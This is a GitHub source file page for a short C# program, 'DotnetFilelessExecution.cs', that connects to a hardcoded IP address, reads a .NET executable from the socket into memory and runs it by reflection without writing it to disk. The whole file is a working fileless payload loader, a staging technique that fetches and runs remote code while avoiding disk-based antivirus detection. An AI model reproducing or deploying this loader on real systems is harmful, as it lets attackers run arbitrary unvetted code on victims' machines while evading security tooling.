-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathDotnetFilelessExecution.cs
More file actions
53 lines (41 loc) · 1.18 KB
/
DotnetFilelessExecution.cs
File metadata and controls
53 lines (41 loc) · 1.18 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
// Author: Sayan Ray (@barebones90)
using System;
using System.IO;
using System.Net;
using System.Text;
using System.Net.Sockets;
using System.Threading;
using System.Reflection;
/*
* This program can take the contents of any dotnet compiled "exe" file, in a byte array and execute it without saving it to disk.
*
*/
class Program {
static void ExecExe(byte[] exe) {
Assembly assm = Assembly.Load(exe);
MethodInfo entryPoint = assm.EntryPoint;
if (entryPoint != null) {
// check if Main Method accepts parameters or not
if (entryPoint.GetParameters().Length == 0) {
// no parameters
entryPoint.Invoke(null, null);
} else {
// accepts parameters, invoke with an empty string array.
entryPoint.Invoke(null, new object[] { new string[] { } });
}
} else
Console.WriteLine("No entry point found in the exe file.");
}
static void Main(string[] args) {
string addr = "192.168.51.75";
int port = 80;
// Create our tcp client
TcpClient client = new TcpClient(addr, port);
Stream s = client.GetStream();
byte[] buf = new byte[65565];
int k = s.Read(buf, 0, 65565);
// buf has the contents of the exe file
client.Close();
ExecExe(buf);
}
}